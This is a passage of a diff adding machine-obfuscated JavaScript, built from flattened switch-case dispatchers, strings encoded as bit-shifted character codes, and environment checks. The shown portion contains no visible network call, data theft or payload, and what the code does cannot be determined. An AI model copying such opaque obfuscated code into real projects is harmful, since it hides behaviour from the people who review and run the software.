= _$i + } + return; + case 303: + _$hv = 0; + _$gv = 0; + break; + case 304: + _$uv = 2; + _$pv = _$Ko; + _$yv = 1; + break; + case 305: + _$wv = _$BC; + break; + case 306: + _$ga = _$ga.p(_$ha); + _$dv = [36, 217, 288, 165, 191, 236, 209, 50, 17, 333, 201, 207, 163, 226, 341, 40, 147, 152, 57, 311]; + break; + case 307: + _$Iv = _$Do; + _$Av = 1; + break; + case 308: + for (_$Sv = _$pa; _$pa < _$ZY.length; _$pa++) { + _$a = _$ZY; + _$r = _$pa; + _$c = _$a[_$r]; + _$mv = _$c; + _$a = _$pc; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$mv; + _$s = _$c < _$v; + if (_$s) { + _$a = _$pc; + _$r = 0; + _$c = _$mv; + _$a[_$r] = _$c; + _$a = _$pc; + _$r = 0; + _$c = _$pc; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 309: + _$Xc = _$Xc + 1; + break; + case 310: + for (_$Tv = _$va; _$va < _$EW.length; _$va++) { + _$a = _$EW; + _$r = _$va; + _$c = _$a[_$r]; + _$jv = _$c; + _$a = _$Ha; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$jv; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Ha; + _$r = 0; + _$c = _$jv; + _$a[_$r] = _$c; + _$a = _$Ha; + _$r = 0; + _$c = _$Ha; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 311: + _$Fv = [417792, 442368, 454656, 454656, 466944]; + break; + case 312: + _$Ia = 1; + break; + case 313: + break; + case 314: + _$Kv = _$Do; + _$Qv = 1; + break; + case 315: + for (_$Wv = 0; _$Wv < _$Er.length; _$Wv++) { + _$a = _$Ve; + _$r = _$Er; + _$c = _$Wv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Ve = _$t + } + break; + case 316: + _$fc = 1; + break; + case 317: + _$Sc = _$Sc + 1; + break; + case 318: + _$La = _$Va; + break; + case 319: + if (_$Lr + _$Vr < 0) { + _$a = _$Rr; + _$r = _$Lr; + _$c = _$Vr; + _$v = _$r * _$c; + _$s = _$a << _$v; + _$n = _$Rr; + _$f = _$s >> _$n; + _$_r = _$f + } + break; + case 320: + _$Kc = _$Kc + 1; + break; + case 321: + _$nv = _$lc[0]; + break; + case 322: + for (_$Yv = 0; _$Yv < _$rc.length; _$Yv++) { + _$a = _$fs; + _$r = _$rc; + _$c = _$Yv; + _$v = _$r[_$c]; + _$s = 9; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$fs = _$t + } + break; + case 323: + _$$a = _$$a + 1; + break; + case 324: + _$Uv = _$BC; + break; + case 325: + _$Ov = _$XW[_$Ae](0, _$Uc); + _$Gv = _$Do; + _$Nv = 1; + break; + case 326: + _$Zv = _$BC; + break; + case 327: + for (_$zv = 0; _$zv < _$Wr.length; _$zv++) { + _$a = _$Ec; + _$r = _$Wr; + _$c = _$zv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Ec = _$t + } + break; + case 328: + _$wc = _$dc; + break; + case 329: + for (_$Ev = 0; _$Ev < _$SY.length; _$Ev++) { + _$a = _$Ev; + _$r = _$ar; + _$c = _$a % _$r; + _$er = _$c; + _$a = _$SY; + _$r = _$Ev; + _$c = _$SY; + _$v = _$Ev; + _$s = _$c[_$v]; + _$n = _$iv; + _$f = _$er; + _$t = _$n[_$f]; + _$i = _$s ^ _$t; + _$a[_$r] = _$i + } + break; + case 330: + _$ha = 1; + break; + case 331: + _$Rv = _$BC; + _$Pa.apply(_$E, _$dv); + break; + case 332: + for (_$_v = 0; _$_v < _$$a.length; _$_v++) { + _$a = _$Uv; + _$r = _$$a; + _$c = _$_v; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Uv = _$t + } + break; + case 333: + _$Lv = _$BC; + break; + case 334: + _$zr = _$Er; + break; + case 335: + _$Cv = _$iv.length; + break; + case 336: + for (_$Vv = 0; _$Vv < _$tc.length; _$Vv++) { + _$a = _$Rv; + _$r = _$tc; + _$c = _$Vv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Rv = _$t + } + break; + case 337: + _$vs = _$vs.p(_$cs); + break; + case 338: + _$Er = _$Er + 1; + break; + case 339: + for (_$qv = 0; _$qv < _$Ne.length; _$qv++) { + _$a = _$$r; + _$r = _$Ne; + _$c = _$qv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$$r = _$t + } + break; + case 340: + for (_$Hv = 0; _$Hv < _$Sc.length; _$Hv++) { + _$a = _$Ye; + _$r = _$Sc; + _$c = _$Hv; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Ye = _$t + } + break; + case 341: + _$xv = _$KW[_$Lv](0, _$Ir); + _$Xv = _$Do; + _$Fv = 1; + break; + case 342: + _$gc = _$uc; + break; + case 343: + for (_$Jv = Math[_$Ye]((_$Mc.length - 2) / 2); _$Jv >= 0; _$Jv--) { + _$a = _$Mc; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$Jv; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Mc; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Mc; + _$i = _$Jv; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Mc; + _$r = _$Jv; + _$c = _$a[_$r]; + _$Ic = _$c; + _$a = _$Mc; + _$r = _$Jv; + _$c = _$Mc; + _$v = 2; + _$s = _$Jv; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ic; + _$a[_$n] = _$f + } + } else { + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Mc; + _$i = 2; + _$o = _$Jv; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Mc; + _$q = 2; + _$H = _$Jv; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Mc; + _$$ = _$Jv; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Ic = _$f; + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Mc; + _$t = _$Jv; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Mc; + _$r = _$Jv; + _$c = _$Ic; + _$a[_$r] = _$c; + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Mc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Mc; + _$i = 2; + _$o = _$Jv; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Mc; + _$q = 2; + _$H = _$Jv; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Mc; + _$$ = _$Jv; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$Ic = _$f; + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Mc; + _$t = _$Jv; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Mc; + _$r = _$Jv; + _$c = _$Ic; + _$a[_$r] = _$c; + _$a = _$Mc; + _$r = 2; + _$c = _$Jv; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Mc; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 344: + _$yv = _$yv + 1; + break; + case 345: + _$Qv = _$Qv + 1; + break; + case 346: + _$$v = _$BC; + break; + case 347: + break; + case 348: + if (!_$_r) { + _$a = _$Lr; + _$r = 2; + _$c = _$_r; + _$v = _$r + _$c; + _$s = _$Rr; + _$n = _$v - _$s; + _$f = _$a << _$n; + _$Lr = _$f + } + break; + case 349: + _$Kv = _$Qv; + _$Pa.apply(_$E, _$He); + break; + case 350: + _$rs = 3; + _$cs = _$Ko; + _$vs = 1; + break; + case 351: + _$Dc = 1; + break; + case 352: + _$ss = Math[_$fs](_$MW.length / _$ac); + _$ns = new Array(_$ss); + break; + case 353: + _$fs = _$BC; + break; + case 354: + _$ts = _$BC; + break; + case 355: + for (_$is = _$Zr; _$Zr < _$KW.length; _$Zr++) { + _$a = _$KW; + _$r = _$Zr; + _$c = _$a[_$r]; + _$os = _$c; + _$a = _$ks; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$os; + _$s = _$c < _$v; + if (_$s) { + _$a = _$ks; + _$r = 0; + _$c = _$os; + _$a[_$r] = _$c; + _$a = _$ks; + _$r = 0; + _$c = _$ks; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 356: + _$hs = [200704, 204800, 200704, 208896, 200704, 229376, 212992, 200704, 221184]; + break; + case 357: + _$as = _$ov.length; + break; + case 358: + _$ks = _$KW[_$Ve](0, _$Zr); + break; + case 359: + _$dr = _$dr.p(_$wr); + break; + case 360: + _$ke = _$be; + break; + case 361: + _$Gv = 1; + break; + case 362: + _$wa = [471040, 442368, 430080, 405504, 413696]; + break; + case 363: + _$zr = 1; + break; + case 364: + _$Qv = [417792, 442368, 454656, 454656, 466944]; + break; + case 365: + for (_$qa = 0; _$qa < _$we.length; _$qa++) { + _$a = _$gv; + _$r = _$ac; + _$c = _$a === _$r; + if (_$c) { + _$a = 0; + _$gv = _$a; + _$a = 1; + _$hv += _$a + } + _$a = _$ns; + _$r = _$hv; + _$c = _$a[_$r]; + _$v = _$gv; + _$s = _$we; + _$n = _$qa; + _$f = _$s[_$n]; + _$c[_$v] = _$f; + _$a = 1; + _$gv += _$a + } + break; + case 366: + _$Xc = _$Xc.p(_$Bc); + break; + case 367: + _$Pc = _$Pc + 1; + _$bs = [202, 187, 115, 283, 138, 84, 327, 211, 258, 317, 60, 114, 263, 241, 340, 216, 343, 249, 286, 214]; + break; + case 368: + _$ta = _$ov.length; + break; + case 369: + _$ls = _$jo; + _$hs = 1; + break; + case 370: + for (_$gs = _$Pe; _$Pe < _$ZY.length; _$Pe++) { + _$a = _$ZY; + _$r = _$Pe; + _$c = _$a[_$r]; + _$us = _$c; + _$a = _$Ra; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$us; + _$s = _$c < _$v; + if (_$s) { + _$a = _$Ra; + _$r = 0; + _$c = _$us; + _$a[_$r] = _$c; + _$a = _$Ra; + _$r = 0; + _$c = _$Ra; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 371: + _$ps = _$BC; + break; + case 372: + _$ys = 2; + _$ws = _$Ko; + _$ds = 1; + break; + case 373: + _$Ms = 6; + _$Is = _$Ko; + _$As = 1; + break; + case 374: + _$Ss = []; + break; + case 375: + _$Nv = _$Nv + 1; + break; + case 376: + _$Kc = _$Kc.p(_$Dc); + break; + case 377: + _$As = [471040, 442368, 430080, 405504, 413696]; + break; + case 378: + for (_$qa = 0; _$qa < _$ss * _$ac; _$qa++) { + _$a = _$To; + _$ms = _$a; + _$r = 1; + _$Ts = _$r; + _$a = _$Ts; + _$r = 1; + _$c = _$a + _$r; + _$Ts = _$c; + _$a = 1; + _$ms = _$a; + _$a = _$BC; + _$js = _$a; + _$a = _$Ts; + _$ms = _$a; + _$a = 835584; + _$r = 884736; + _$c = 909312; + _$v = 909312; + _$s = 933888; + _$n = [_$a, _$r, _$c, _$v, _$s]; + _$Ts = _$n; + for (_$Cs = 0; _$Cs < _$Ts.length; _$Cs++) { + _$a = _$js; + _$r = _$Ts; + _$c = _$Cs; + _$v = _$r[_$c]; + _$s = 13; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$js = _$t + } + _$a = _$Ts; + _$r = _$LC; + _$c = _$ms; + _$v = _$a[_$r](_$c); + _$Ts = _$v; + _$a = _$ns; + _$r = _$qa; + _$c = _$ss; + _$v = _$r % _$c; + _$s = _$a[_$v]; + _$n = Math; + _$f = _$js; + _$t = _$qa; + _$i = _$ss; + _$o = _$t / _$i; + _$k = _$n[_$f](_$o); + _$b = _$s[_$k]; + _$Ds = _$b; + _$a = _$Ds; + if (_$a) { + _$a = _$Ss; + _$r = _$LC; + _$c = _$Ds; + _$a[_$r](_$c) + } + } + break + } + } + } + function _$oU() { + var _$a = _$mo; + var _$e = _$So; + var _$r = _$Ao; + var _$c = _$VC; + var _$v = _$Vu; + var _$s = _$Wo; + var _$n = _$xS; + var _$f = _$BS; + var _$t = _$XS; + var _$i = _$FS; + var _$o = _$SC; + var _$k = _$mC; + var _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha, _$ga, _$ua, _$pa, _$ya, _$wa, _$da, _$Ma, _$Ia, _$Aa, _$Sa, _$ma, _$Ta, _$ja, _$Ca, _$Da, _$Ka, _$Qa, _$Wa, _$Ya, _$Ua, _$Oa, _$Pa, _$Ga, _$Na, _$Za, _$za, _$Ea, _$Ra, _$_a, _$La, _$Va, _$qa, _$Ha, _$xa, _$Ba, _$Xa, _$Fa, _$Ja, _$$a, _$ae, _$ee, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$ie, _$oe, _$ke, _$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, _$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ne, _$Ze, _$ze, _$Ee; + _$b = 0; + _$l = _$b; + _$h = 24; + _$g = 6; + _$u = 93; + _$p = 35; + _$y = 17; + _$w = 47; + _$d = 25; + _$M = 107; + _$I = 55; + _$A = 66; + _$S = 104; + _$m = 85; + _$T = 56; + _$j = 42; + _$C = 100; + _$D = 12; + _$K = 95; + _$Q = 32; + _$W = 4; + _$Y = 57; + _$U = 13; + _$O = 97; + _$P = 103; + _$G = 92; + _$N = 43; + _$Z = 45; + _$z = 27; + _$E = 11; + _$R = [_$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E]; + _$_ = _$R; + while (!![]) { + switch (_$_[_$l++]) { + case 1: + for (_$L = 0; _$L < _$Oa.length; _$L++) { + _$b = _$Oa; + _$h = _$L; + _$g = _$b[_$h]; + _$u = _$k + _$o; + _$p = 2; + _$y = _$g[_$u](_$p); + _$Ma = _$y; + _$b = _$Ma; + _$h = _$LS; + _$g = /^1+?(?=0)/; + _$u = _$b[_$h](_$g); + _$Ia = _$u; + _$b = _$Ia; + _$h = _$b; + if (_$h) { + _$V = _$Ma; + _$q = _$PC; + _$H = _$V[_$q]; + _$x = 8; + _$h = _$H === _$x + } + if (_$h) { + _$b = _$Ia; + _$h = 0; + _$g = _$b[_$h]; + _$u = _$PC; + _$p = _$g[_$u]; + _$Aa = _$p; + _$b = _$Oa; + _$h = _$L; + _$g = _$b[_$h]; + _$u = _$t + _$i; + _$p = 2; + _$y = _$g[_$u](_$p); + _$w = _$_S; + _$d = 7; + _$M = _$Aa; + _$I = _$d - _$M; + _$A = _$y[_$w](_$I); + _$Sa = _$A; + for (_$B = 0; _$B < _$Aa; _$B++) { + _$b = _$Oa; + _$h = _$B; + _$g = _$L; + _$u = _$h + _$g; + _$p = _$b[_$u]; + _$y = _$n + _$f; + _$w = 2; + _$d = _$p[_$y](_$w); + _$M = _$_S; + _$I = 2; + _$A = _$d[_$M](_$I); + _$Sa += _$A + } + _$b = _$Sa; + _$h = 2; + _$g = parseInt(_$b, _$h); + _$u = _$bW(_$g); + _$da += _$u; + _$b = _$Aa; + _$h = 1; + _$g = _$b - _$h; + _$L += _$g + } else { + _$b = _$Oa; + _$h = _$L; + _$g = _$b[_$h]; + _$u = _$bW(_$g); + _$da += _$u + } + } + break; + case 2: + _$Se = _$Se.p(_$Ae); + break; + case 3: + _$Ea = 0; + break; + case 4: + _$xa = _$xa.j(_$BC); + break; + case 5: + _$xa += _$GC; + break; + case 6: + try { + _$b = _$Rl; + _$X = _$b; + _$h = 1; + _$F = _$h; + _$b = _$F; + _$h = 1; + _$g = _$b + _$h; + _$F = _$g; + _$b = 1; + _$X = _$b; + _$b = _$BC; + _$J = _$b; + _$b = _$F; + _$X = _$b; + _$b = 59392; + _$h = 56832; + _$g = 42496; + _$u = 59392; + _$p = 58368; + _$y = 53760; + _$w = 56320; + _$d = 52736; + _$M = [_$b, _$h, _$g, _$u, _$p, _$y, _$w, _$d]; + _$F = _$M; + for (_$$ = 0; _$$ < _$F.length; _$$++) { + _$b = _$J; + _$h = _$F; + _$g = _$$; + _$u = _$h[_$g]; + _$p = 9; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$J = _$d + } + _$b = _$F; + _$h = _$LC; + _$g = _$X; + _$u = _$b[_$h](_$g); + _$F = _$u; + _$b = _$BW; + _$h = _$J; + _$g = _$b[_$h](); + _$aa = _$g; + _$b = _$aa; + _$ua = _$b; + _$b = module; + _$ea = _$b; + _$h = _$El; + _$ra = _$h; + _$g = 1; + _$ca = _$g; + _$b = _$ca; + _$h = 1; + _$g = _$b + _$h; + _$ca = _$g; + _$b = 1; + _$ra = _$b; + _$b = _$BC; + _$va = _$b; + _$b = _$ca; + _$ra = _$b; + _$b = 256; + _$h = 144; + _$g = 280; + _$u = 272; + _$p = 400; + _$y = 376; + _$w = 396; + _$d = 460; + _$M = 416; + _$I = [_$b, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M]; + _$ca = _$I; + for (_$sa = 0; _$sa < _$ca.length; _$sa++) { + _$b = _$va; + _$h = _$ca; + _$g = _$sa; + _$u = _$h[_$g]; + _$p = 2; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$va = _$d + } + _$b = _$ca; + _$h = _$LC; + _$g = _$ra; + _$u = _$b[_$h](_$g); + _$ca = _$u; + _$b = _$aa; + _$h = _$va; + _$g = _$b + _$h; + _$na = _$g; + _$b = 0; + _$ua = _$b + } catch (_$a) {} + break; + case 7: + _$Ua = _$Ua + 1; + break; + case 8: + _$Ta = _$Ta.p(_$ma); + break; + case 9: + _$Wa = _$Ba; + break; + case 10: + if (!_$ua) { + _$b = 20; + _$h = 66; + _$g = _$b + _$h; + _$fa = _$g; + _$u = 0; + _$ta = _$u; + _$p = _$OW++; + _$ia = _$p; + _$b = _$ia; + _$h = 13779; + _$g = 4478; + _$u = _$h - _$g; + _$p = _$b * _$u; + _$y = 12903; + _$w = 36394; + _$d = _$y + _$w; + _$M = _$p + _$d; + _$I = 123152; + _$A = 110128; + _$S = _$I + _$A; + _$m = _$M % _$S; + _$ia = _$m; + _$b = _$ia; + _$h = 304426; + _$g = 71146; + _$u = _$h - _$g; + _$p = _$b / _$u; + _$oa = _$p; + _$y = _$oa; + _$w = 91; + _$d = 27; + _$M = _$w + _$d; + _$I = _$fa; + _$A = _$M - _$I; + _$S = 1; + _$m = _$A + _$S; + _$T = _$y * _$m; + _$j = _$fa; + _$C = _$T + _$j; + _$ka = _$C; + _$b = _$ta; + _$h = _$ka; + _$g = _$b ^ _$h; + _$IW = _$g + } + return; + case 11: + _$Ne = [107520, 112640, 102400, 103424, 122880, 80896, 104448]; + break; + case 12: + _$ba = _$BC; + break; + case 13: + _$te = _$te.p(_$fe); + break; + case 14: + _$Ae = _$Se; + break; + case 15: + _$la = !_$ga[_$Ee]; + break; + case 16: + _$Ua = [999424, 1785856, 1818624, 1638400, 1916928, 1769472, 1654784, 720896]; + break; + case 17: + _$Ue = 1; + break; + case 18: + _$Ka = _$Ka + 1; + break; + case 19: + _$$a = _$$a.p(_$Ja); + break; + case 20: + _$ha = typeof _$BW[_$da] === _$se; + _$ga = _$DY; + break; + case 21: + _$Ta = _$Ta + 1; + break; + case 22: + _$Da = _$Ka; + break; + case 23: + _$xa = _$Wa; + break; + case 24: + _$ua = 0; + break; + case 25: + _$Ue = _$Oe; + break; + case 26: + for (_$pa = 0; _$pa < _$za; _$pa++) { + _$b = _$ue; + _$h = _$Ea; + _$g = _$b[_$h]; + _$La = _$g; + _$b = _$ue; + _$h = _$Ea; + _$g = 1; + _$u = _$h + _$g; + _$p = _$b[_$u]; + _$Va = _$p; + _$b = _$Ea; + _$h = 2; + _$g = _$b + _$h; + _$Ea = _$g; + _$b = _$La; + _$h = 46; + _$g = _$b - _$h; + _$La = _$g; + _$b = _$Va; + _$h = 46; + _$g = _$b - _$h; + _$Va = _$g; + _$b = _$Va; + _$h = 19; + _$g = _$b * _$h; + _$u = _$La; + _$p = _$g + _$u; + _$_a = _$p; + _$b = _$_a; + _$h = 11; + _$g = _$b ^ _$h; + _$Ra = _$g; + _$b = _$Oa; + _$h = _$pa; + _$g = _$Ra; + _$b[_$h] = _$g + } + break; + case 27: + _$Ge = _$Ne; + break; + case 28: + for (_$ya = 0; _$ya < _$Ua.length; _$ya++) { + _$b = _$Ie; + _$h = _$Ua; + _$g = _$ya; + _$u = _$h[_$g]; + _$p = 14; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$Ie = _$d + } + break; + case 29: + _$Ba += _$ZC; + break; + case 30: + _$Ba += _$zC; + _$wa = [89, 96, 14, 98, 31, 83, 2, 51, 101, 5, 70, 109, 99, 94, 63, 19, 15, 52, 62, 10]; + break; + case 31: + if (_$Ba.c(5) > _$xa.c(7)) { + _$b = _$Ba; + _$h = _$NC; + _$g = _$b + _$h; + _$Ba = _$g + } + break; + case 32: + _$te = [249856, 446464, 454656, 409600, 479232, 442368, 413696, 241664]; + break; + case 33: + _$da = _$BC; + break; + case 34: + _$ma = _$Ol; + _$Ta = 1; + _$ja = [39, 3, 26, 33, 1, 30, 20, 50, 36, 18, 105, 23, 81, 22, 90, 86, 46, 9, 80, 84]; + break; + case 35: + _$Oe = _$Oe + 1; + _$Ca = _$_.p; + break; + case 36: + _$Da = _$Ul; + _$Ka = 1; + break; + case 37: + for (_$Qa = 0; _$Qa < _$Ta.length; _$Qa++) { + _$b = _$se; + _$h = _$Ta; + _$g = _$Qa; + _$u = _$h[_$g]; + _$p = 12; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$se = _$d + } + break; + case 38: + _$Wa = _$xa + _$Ba; + _$Ya = _$Gl; + _$Ua = 1; + break; + case 39: + _$Oa = []; + break; + case 40: + _$Ba += _$zC; + break; + case 41: + _$Pa = _$Pl; + _$Ga = 1; + break; + case 42: + _$te = _$te + 1; + break; + case 43: + if (_$Ba.c(5) > _$xa.c(4)) { + _$b = _$Ba; + _$h = _$EC; + _$g = _$b + _$h; + _$Ba = _$g + } + break; + case 44: + break; + case 45: + _$qa = _$BC; + break; + case 46: + _$Ka = _$Ka.p(_$Da); + break; + case 47: + _$Ha = _$BC; + _$xa = []; + _$Ba = _$c + _$s + _$v; + _$Xa = [74, 61, 38, 7, 48, 79, 82, 16, 54, 28, 69, 41, 67, 59, 102, 68, 58, 76, 64, 87]; + break; + case 48: + _$Ya = 1; + break; + case 49: + _$Ta = [454656, 401408, 434176, 413696, 405504, 475136]; + break; + case 50: + _$DY = _$yW; + break; + case 51: + _$Fa = typeof _$BW[_$Pe] === _$me; + _$Ja = _$Wl; + _$$a = 1; + break; + case 52: + if (_$la) { + _$b = 1; + _$ae = _$b; + _$h = 0; + _$ee = _$h; + _$g = _$OW++; + _$re = _$g; + _$b = _$re; + _$h = 16146; + _$g = 6845; + _$u = _$h - _$g; + _$p = _$b * _$u; + _$y = 30192; + _$w = 19105; + _$d = _$y + _$w; + _$M = _$p + _$d; + _$I = 146378; + _$A = 86902; + _$S = _$I + _$A; + _$m = _$M % _$S; + _$re = _$m; + _$b = _$re; + _$h = 77208; + _$g = 156072; + _$u = _$h + _$g; + _$p = _$b / _$u; + _$ce = _$p; + _$y = _$ce; + _$w = 25; + _$d = 40; + _$M = _$w + _$d; + _$I = _$ae; + _$A = _$M - _$I; + _$S = 1; + _$m = _$A + _$S; + _$T = _$y * _$m; + _$j = _$ae; + _$C = _$T + _$j; + _$ve = _$C; + _$b = _$ee; + _$h = _$ve; + _$g = _$b ^ _$h; + _$oY = _$g + } + break; + case 53: + _$se = _$BC; + break; + case 54: + _$Ba = []; + break; + case 55: + for (_$ne = 0; _$ne < _$Oe.length; _$ne++) { + _$b = _$Ha; + _$h = _$Oe; + _$g = _$ne; + _$u = _$h[_$g]; + _$p = 5; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$Ha = _$d + } + break; + case 56: + _$fe = _$Zl; + _$te = 1; + break; + case 57: + for (_$ie = 0; _$ie < _$te.length; _$ie++) { + _$b = _$ba; + _$h = _$te; + _$g = _$ie; + _$u = _$h[_$g]; + _$p = 12; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$ba = _$d + } + break; + case 58: + _$Pa = _$Ga; + break; + case 59: + _$Pa = 1; + break; + case 60: + _$ma = 1; + break; + case 61: + _$Ne = _$Ne.p(_$Ge); + break; + case 62: + if (!_$la) { + _$b = 23; + _$h = 66; + _$g = _$b + _$h; + _$oe = _$g; + _$u = 0; + _$ke = _$u; + _$p = _$OW++; + _$be = _$p; + _$b = _$be; + _$h = 6326; + _$g = 2975; + _$u = _$h + _$g; + _$p = _$b * _$u; + _$y = 15821; + _$w = 33476; + _$d = _$y + _$w; + _$M = _$p + _$d; + _$I = 305338; + _$A = 72058; + _$S = _$I - _$A; + _$m = _$M % _$S; + _$be = _$m; + _$b = _$be; + _$h = 86988; + _$g = 146292; + _$u = _$h + _$g; + _$p = _$b / _$u; + _$le = _$p; + _$y = _$le; + _$w = 80; + _$d = 27; + _$M = _$w + _$d; + _$I = _$oe; + _$A = _$M - _$I; + _$S = 1; + _$m = _$A + _$S; + _$T = _$y * _$m; + _$j = _$oe; + _$C = _$T + _$j; + _$he = _$C; + _$b = _$ke; + _$h = _$he; + _$g = _$b ^ _$h; + _$oY = _$g + } + break; + case 63: + for (_$ge = 0; _$ge < _$$a.length; _$ge++) { + _$b = _$Ee; + _$h = _$$a; + _$g = _$ge; + _$u = _$h[_$g]; + _$p = 16; + _$y = _$u >> _$p; + _$w = _$bW(_$y); + _$d = _$b + _$w; + _$Ee = _$d + } + break; + case 64: + _$Ga = _$Ga.p(_$Pa); + break; + case 65: + _$ue = []; + break; + case 66: + _$Oe = _$Oe.p(_$Ue); + break; + case 67: + _$Ga = _$Ga + 1; + break; + case 68: + _$pe = _$BC; + break; + case 69: + _$Ua = _$Ua.p(_$Ya); + break; + case 70: + _$Ja = 1; + break; + case 71: + _$za = _$ue.length; + break; + case 72: + _$ye = _$a + _$r + _$e; + break; + case 73: + if (_$Ze[_$pe](_$Ie) == -1 && _$Ze[_$qa](_$ba) == -1) { + _$b = 0; + _$ua = _$b + } + break; + case 74: + for (_$we = 0; _$we < _$Ne.length; _$we++) { + _$b = _$qa; + _$h = _$Ne; + _$g = _$we; + _$u = _$h[_$g]; + _$p = 10; + 